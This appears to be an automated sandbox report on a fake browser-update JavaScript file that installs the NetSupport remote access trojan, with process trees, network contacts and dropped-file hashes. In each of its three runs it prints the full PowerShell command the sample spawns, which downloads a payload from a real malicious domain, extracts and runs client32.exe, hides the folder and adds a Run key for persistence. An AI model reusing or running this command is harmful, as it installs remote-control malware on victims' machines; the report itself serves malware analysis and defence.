Malware Analysis Report

2024-10-23 16:16

Sample ID 240129-wbkcjaghbl
Target Update_browser_17.6436.js
SHA256 41632e707f7129a25d16c9137bdf4ce4f819a542ed33d8c444f9bd5693ecb975
Tags
netsupport persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

41632e707f7129a25d16c9137bdf4ce4f819a542ed33d8c444f9bd5693ecb975

Threat Level: Known bad

The file Update_browser_17.6436.js was found to be: Known bad.

Malicious Activity Summary

netsupport persistence rat

NetSupport

Blocklisted process makes network request

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Adds Run key to start application

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

Script User-Agent

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-01-29 17:44

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-01-29 17:44

Reported

2024-01-29 18:13

Platform

win10v2004-20231215-en

Max time kernel

1166s

Max time network

1192s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX735\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD='https://ghostcitygames.com/data.php?10037';$BuATdCvSzZ=(New-Object System.Net.WebClient).DownloadString($YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD);$nHkEqkTJwNaPgGOsWZuUSkyXGs=[System.Convert]::FromBase64String($BuATdCvSzZ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqRKxBuNYN=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqRKxBuNYN -PathType Container)) { New-Item -Path $KqRKxBuNYN -ItemType Directory };$p=Join-Path $KqRKxBuNYN 'lol.zip';[System.IO.File]::WriteAllBytes($p,$nHkEqkTJwNaPgGOsWZuUSkyXGs);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqRKxBuNYN)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqRKxBuNYN 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqRKxBuNYN -Force; $FSDFSSD.attributes='Hidden';$s=$KqRKxBuNYN+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ripnoticebook.com udp
RU 91.219.150.105:443 ripnoticebook.com tcp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 105.150.219.91.in-addr.arpa udp
US 8.8.8.8:53 ghostcitygames.com udp
RU 91.219.150.112:443 ghostcitygames.com tcp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 187.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 112.150.219.91.in-addr.arpa udp
US 8.8.8.8:53 20.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
MD 5.181.156.45:443 tcp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
US 104.26.1.231:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 231.1.26.104.in-addr.arpa udp
US 8.8.8.8:53 45.156.181.5.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 15.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 147.177.190.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 183.1.37.23.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 179.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 42.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 134.71.91.104.in-addr.arpa udp
US 8.8.8.8:53 189.178.17.96.in-addr.arpa udp

Files

memory/1028-9-0x00000290DC210000-0x00000290DC232000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gx5ryzso.thn.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1028-10-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp

memory/1028-11-0x00000290DC240000-0x00000290DC250000-memory.dmp

memory/1028-12-0x00000290DC240000-0x00000290DC250000-memory.dmp

memory/1028-15-0x00000290F4810000-0x00000290F4822000-memory.dmp

memory/1028-14-0x00000290F47E0000-0x00000290F47EA000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\DIVX735\PCICHEK.DLL

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

memory/1028-82-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX735\client32.ini

MD5 98043670d8c850e878e333312fcfa25a
SHA1 dc795e8b906d70ee5854a6797e0c1557375bc443
SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA512 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

C:\Users\Admin\AppData\Roaming\DIVX735\HTCTL32.DLL

MD5 cfc887dd00b255f86a2f29764a33a8a5
SHA1 898daadf3e5bbe53556b8001a6a8683833148813
SHA256 34b55ccbbdc5a100879f14e3b206fb7e0f13367c68b683fe16b866d3135ed2d6
SHA512 3aedd1b70ea1f798fbb5855d2377901bf2c19d89affc21a3fd6826b6628f0d7b78e919270f5cbc298667837216f1971efed62181110b393382dfc809e024ef49

C:\Users\Admin\AppData\Roaming\DIVX735\HTCTL32.DLL

MD5 0270d0ec7bf77479f9826b89249f2bdb
SHA1 e23c00370168f9c2a5436f12b6d89929f68b296d
SHA256 32f47f8e13761d6bf754b3f71930bb501bb960f9f978effed9f5f57734083e1d
SHA512 ff02f3878206a7acb95464faf460e519d5c1d4355d8a2b1c564fdb9580f7341b9e39d4ae93d4625f78fe4c0610920c77d735f98e1e9fd76f3cf66d887ccb635c

C:\Users\Admin\AppData\Roaming\DIVX735\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

C:\Users\Admin\AppData\Roaming\DIVX735\msvcr100.dll

MD5 d2437e2e4ada7fd263b8fa2c37b0b651
SHA1 a4d103c62dc898ff8d505ddbebab16eaddcdf74e
SHA256 a6d216f06df979a52b4c301ca55bce9c926f47f0bdfa1382a18a22279ce54885
SHA512 c0a14ee673929d2618198a474f36dc54e862d155760e63130592477805d52080a620818d3f37ad6b3f882ca70c7b873156868e7a3fc904865d42098427c12012

C:\Users\Admin\AppData\Roaming\DIVX735\MSVCR100.dll

MD5 ee1672e9428831a29dca52beae139637
SHA1 1bbffe394ab0ef0d63295cf62f987a15c91ee3de
SHA256 6a85adf94a118605eb0effff8aa10479484b715576c5e398f7d157f63267349d
SHA512 2de4e5416b8a29e41aee4cb091f36065780153ab0dadca3ab65597cbe0657601a5793edad0803fd1ea84b1dbfea7ae2200d0a4b5171598d46b56d1b23addefb7

C:\Users\Admin\AppData\Roaming\DIVX735\msvcr100.dll

MD5 bdca69633cf9de21a43b1088caa3cf78
SHA1 7fd683f5227ae64a98abe92affb1bcbc05adaa57
SHA256 4259aec4f6d6a6651542802febae87b36a531088bde916d492719963e52c2df0
SHA512 67b1a92f3880e4bc1050f925f62c0b15e4ef11ab185aae5fc4a50340c4aa36a988c8a0b1058a259d104c74497d8cb1c29299ef782cbe19df4f77e971843bc37b

C:\Users\Admin\AppData\Roaming\DIVX735\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\Users\Admin\AppData\Roaming\DIVX735\PCICL32.DLL

MD5 285f5b45473af8ae3416d1abe2d821ac
SHA1 4384aefaa6016a3c73ea4ddd3b985eb86e24b339
SHA256 270dbb5709b3683328454f2ceec0a4701e762a68aa72ebad32bd8c457d8b0f1f
SHA512 5ff4f7dfb871965e71dd86cc10ea8764a96e9e45d4fb793078899b0a0c14fc6b95e262418347304af390b0344bce07403ac7ba9bbe2be485273cfa4cb63b5f57

C:\Users\Admin\AppData\Roaming\DIVX735\PCICL32.dll

MD5 07a2966b6e658979e96677513d38528c
SHA1 50826ea50a65a33fdd6d66f927838419c309103f
SHA256 e4d11778441f66539763a940832eacd21b33376b9e4694849f406023b00ca6c3
SHA512 d3791cd87aae7cc22cd1d403d4a18a4d209a626c1b235a29c64bbac69e5f5d092b6f580ccb2b26eed10c7ed3e35153e870a0f9b1cf5d6436fd6487708ed51663

C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe

MD5 63b944ca35164d5fa61f62bbd567a626
SHA1 341f4a97f69bf8357a9572519aed372728e7e540
SHA256 8cd1e5c76a8d56d1475013d86ac679d366dfaad49be5d2e09a4b928072d09729
SHA512 786c2a49287d95ba79c2f135654dd0f359412154454cea76b6867052a0b994a874110d771888310078550e19477de326207bc6f71c02260efd1b20d4484b5b67

Analysis: behavioral3

Detonation Overview

Submitted

2024-01-29 17:44

Reported

2024-01-29 18:13

Platform

win11-20231222-en

Max time kernel

645s

Max time network

1188s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX469\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $tonGHdaiKzgPJZKDLbgqnKAaCddJBGR='https://ghostcitygames.com/data.php?13279';$wcxYhJdBcjnheJbUaL=(New-Object System.Net.WebClient).DownloadString($tonGHdaiKzgPJZKDLbgqnKAaCddJBGR);$hBUANYPnxoFGzDeoviuGSmKuNyRbvVuSjwu=[System.Convert]::FromBase64String($wcxYhJdBcjnheJbUaL);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $zsxuNkDUwDLTauGdgvX=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $zsxuNkDUwDLTauGdgvX -PathType Container)) { New-Item -Path $zsxuNkDUwDLTauGdgvX -ItemType Directory };$p=Join-Path $zsxuNkDUwDLTauGdgvX 'lol.zip';[System.IO.File]::WriteAllBytes($p,$hBUANYPnxoFGzDeoviuGSmKuNyRbvVuSjwu);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$zsxuNkDUwDLTauGdgvX)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $zsxuNkDUwDLTauGdgvX 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $zsxuNkDUwDLTauGdgvX -Force; $FSDFSSD.attributes='Hidden';$s=$zsxuNkDUwDLTauGdgvX+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ripnoticebook.com udp
RU 91.219.150.105:443 ripnoticebook.com tcp
RU 91.219.150.112:443 ghostcitygames.com tcp
MD 5.181.156.45:443 tcp
US 104.26.0.231:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 231.0.26.104.in-addr.arpa udp

Files

memory/1476-8-0x00000278DDDC0000-0x00000278DDDE2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yf1wgfak.1hi.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1476-10-0x00000278C59F0000-0x00000278C5A00000-memory.dmp

memory/1476-9-0x00007FFFC1F60000-0x00007FFFC2A22000-memory.dmp

memory/1476-11-0x00000278C59F0000-0x00000278C5A00000-memory.dmp

memory/1476-12-0x00007FFFC1F60000-0x00007FFFC2A22000-memory.dmp

memory/1476-13-0x00000278C59F0000-0x00000278C5A00000-memory.dmp

memory/1476-15-0x00000278DE2C0000-0x00000278DE2CA000-memory.dmp

memory/1476-16-0x00000278DE2F0000-0x00000278DE302000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\DIVX469\PCICL32.dll

MD5 d3d39180e85700f72aaae25e40c125ff
SHA1 f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA256 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

C:\Users\Admin\AppData\Roaming\DIVX469\pcichek.dll

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\Users\Admin\AppData\Roaming\DIVX469\MSVCR100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

C:\Users\Admin\AppData\Roaming\DIVX469\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

memory/1476-82-0x00007FFFC1F60000-0x00007FFFC2A22000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX469\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

C:\Users\Admin\AppData\Roaming\DIVX469\client32.ini

MD5 98043670d8c850e878e333312fcfa25a
SHA1 dc795e8b906d70ee5854a6797e0c1557375bc443
SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
SHA512 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

C:\Users\Admin\AppData\Roaming\DIVX469\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Analysis: behavioral1

Detonation Overview

Submitted

2024-01-29 17:44

Reported

2024-01-29 18:12

Platform

win10-20231215-en

Max time kernel

629s

Max time network

1193s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-721438792-2341338383-2410509276-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX576\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $PjcmWSnsXSDEwbBRuAogQ='https://ghostcitygames.com/data.php?5488';$UEkhXuQbhRYarB=(New-Object System.Net.WebClient).DownloadString($PjcmWSnsXSDEwbBRuAogQ);$fjhFqDfAWAlrzhAXmFluccfozzC=[System.Convert]::FromBase64String($UEkhXuQbhRYarB);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $tArSLttfspgESeJzarJcrgtXTFrBtFpuk=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -PathType Container)) { New-Item -Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -ItemType Directory };$p=Join-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk 'lol.zip';[System.IO.File]::WriteAllBytes($p,$fjhFqDfAWAlrzhAXmFluccfozzC);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$tArSLttfspgESeJzarJcrgtXTFrBtFpuk)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $tArSLttfspgESeJzarJcrgtXTFrBtFpuk 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $tArSLttfspgESeJzarJcrgtXTFrBtFpuk -Force; $FSDFSSD.attributes='Hidden';$s=$tArSLttfspgESeJzarJcrgtXTFrBtFpuk+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 ripnoticebook.com udp
RU 91.219.150.105:443 ripnoticebook.com tcp
US 8.8.8.8:53 105.150.219.91.in-addr.arpa udp
US 8.8.8.8:53 ghostcitygames.com udp
RU 91.219.150.112:443 ghostcitygames.com tcp
US 8.8.8.8:53 112.150.219.91.in-addr.arpa udp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
MD 5.181.156.45:443 tcp
US 104.26.0.231:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 231.0.26.104.in-addr.arpa udp
US 8.8.8.8:53 45.156.181.5.in-addr.arpa udp
US 8.8.8.8:53 1.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 209.178.17.96.in-addr.arpa udp

Files

memory/2596-4-0x000001F3967F0000-0x000001F396812000-memory.dmp

memory/2596-5-0x00007FFACB6C0000-0x00007FFACC0AC000-memory.dmp

memory/2596-8-0x000001F3AEB20000-0x000001F3AEB30000-memory.dmp

memory/2596-6-0x000001F3AEB20000-0x000001F3AEB30000-memory.dmp

memory/2596-10-0x000001F3AEC30000-0x000001F3AECA6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jlxjhd0z.nd5.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/2596-25-0x000001F3AEB20000-0x000001F3AEB30000-memory.dmp

memory/2596-26-0x00007FFACB6C0000-0x00007FFACC0AC000-memory.dmp

memory/2596-44-0x000001F396880000-0x000001F39688A000-memory.dmp

memory/2596-45-0x000001F3968B0000-0x000001F3968C2000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\DIVX576\PCICL32.dll

MD5 d61b730abb9dfcbae47a97e7b6d67976
SHA1 d2b496cde1a68599c92298fb3949ca88c319bfc8
SHA256 145eecb6b5d44c35dcfe511f5f4e443462ae2ed97569e554d022b7b02bf20d15
SHA512 bf6e9878a3b05be503d054cff5c972570f6d0e8d6cf62dac48beeb52fdb37ea48f70ce9f28ee3906206b98ca4c5e3c6703a098542ea11033e8df0aa4e0415c7c

\Users\Admin\AppData\Roaming\DIVX576\PCICL32.DLL

MD5 624ca1c1ce95aff868c1e3b3ed37c844
SHA1 f7e23eade16e148f5656bd4c6c2fcd2a1d31971f
SHA256 91c9fed857e3600227a5fc953bd5c2e8b8f515bef38309dffa8c9960c14c0c22
SHA512 94538a6982b8d792f440899f6c4a9ba60f7e8cd90be66159ca1b35aadcb378e8098ef837c7aade09c10505e507e55ae029a642197d5e76c33b648427682924a3

C:\Users\Admin\AppData\Roaming\DIVX576\pcichek.dll

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
